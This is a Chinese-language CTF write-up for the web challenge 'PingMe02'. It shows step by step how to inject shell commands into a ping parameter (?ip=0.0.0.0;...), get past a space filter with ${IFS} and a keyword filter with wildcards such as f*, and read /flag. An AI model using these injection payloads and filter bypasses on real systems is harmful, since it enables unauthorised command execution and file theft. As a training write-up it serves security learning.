经典ctf ping题目详解 青少年CTF-WEB-PingMe02

题目环境:

根据题目名称可知

这是一道CTF-WEB方向常考的知识点:ping地址

随便ping一个地址

查看接受的数据包
?ip=0.0.0.0

有回显数据,尝试列出目录文件

堆叠命令使用';'作为命令之间的连接符,当上一个命令完成后,继续执行下一个命令

使用堆叠命令

列出此目录下的文件
?ip=0.0.0.0;ls

ls是Linux系统里面的列出目录文件的命令

索性ls没有被过滤

查看隐藏文件
?ip=0.0.0.0;ls -a

space空格被过滤了

使用IFS绕过空格

IFS是Linux里面的环境变量,是其内部字段分隔符

可通过${IFS}绕过空格

IFS1-n(n>0的正整数)也可绕过空格

?ip=0.0.0.0;ls${IFS}-a

成功绕多空格

这里猜测没在根目录下,所以才没发现flag

查看当前路径
?ip=0.0.0.0;pwd

pwd是Linux系统里面查看当前目录/路径的命令

/var/www/html

可知现在是在html目录下

去看'/'根目录下是否有flag的存在

查看根目录下的文件
?ip=0.0.0.0;ls${IFS}/

发现根目录下存在flag文件

查看根目录下flag文件的内容
?ip=0.0.0.0;cat${IFS}/flag

cat是Linux系统里面最常见的查看文件内容的命令

这里可以使用其它查看文件内容的命令
less、more、nl等等

使用less查看flag内容
?ip=0.0.0.0;less${IFS}/flag

flag被过滤

可使用f*和f???进行绕过(注:f后边有几个字符就用几个?进行代替)

代表f开头的文件

因为f开头的文件只有flag这一个文件,所以查的就是flag

?ip=0.0.0.0;less${IFS}/f*

?ip=0.0.0.0;less${IFS}/f???

使用more查看flag内容
?ip=0.0.0.0;more${IFS}/f*

?ip=0.0.0.0;more${IFS}/f???

使用nl查看flag内容
?ip=0.0.0.0;nl${IFS}/f*

?ip=0.0.0.0;nl${IFS}/f???

得到flag:
qsnctf{3c6173ea-c3e2-4a49-858b-e9897e69cee3}

当然Linux系统查看文件内容的命令还有很多,这里就举着三个例子了

如果想效率更更高,我们还可以自己生成Linux常见列出目录文件和查看文件等命令和常用字符以及关键字的字典,并使用BurpSuite进行爆破查看那个命令和字符以及关键字的过滤情况

相关推荐
爱分享的程序员29 分钟前
前端面试专栏-算法篇:18. 查找算法(二分查找、哈希查找)
前端·javascript·node.js
翻滚吧键盘34 分钟前
vue 条件渲染(v-if v-else-if v-else v-show)
前端·javascript·vue.js
vim怎么退出36 分钟前
万字长文带你了解微前端架构
前端·微服务·前端框架
你这个年龄怎么睡得着的36 分钟前
为什么 JavaScript 中 'str' 不是对象,却能调用方法?
前端·javascript·面试
Java水解39 分钟前
前端常用单位em/px/rem/vh/vm到底有什么区别?
前端
CAD老兵42 分钟前
Vite 如何借助 esbuild 实现极速 Dev Server 体验,并支持无 source map 的源码调试
前端
南屿im43 分钟前
JavaScript 手写实现防抖与节流:优化高频事件处理的利器
前端·javascript
Spider_Man43 分钟前
从零开始构建React天气应用:API集成与UI设计全指南 🌤️
前端·react.js
浩浩测试一下1 小时前
渗透信息收集- Web应用漏洞与指纹信息收集以及情报收集
android·前端·安全·web安全·网络安全·安全架构
CodeWithMe1 小时前
【Note】《深入理解Linux内核》 Chapter 15 :深入理解 Linux 页缓存
linux·spring·缓存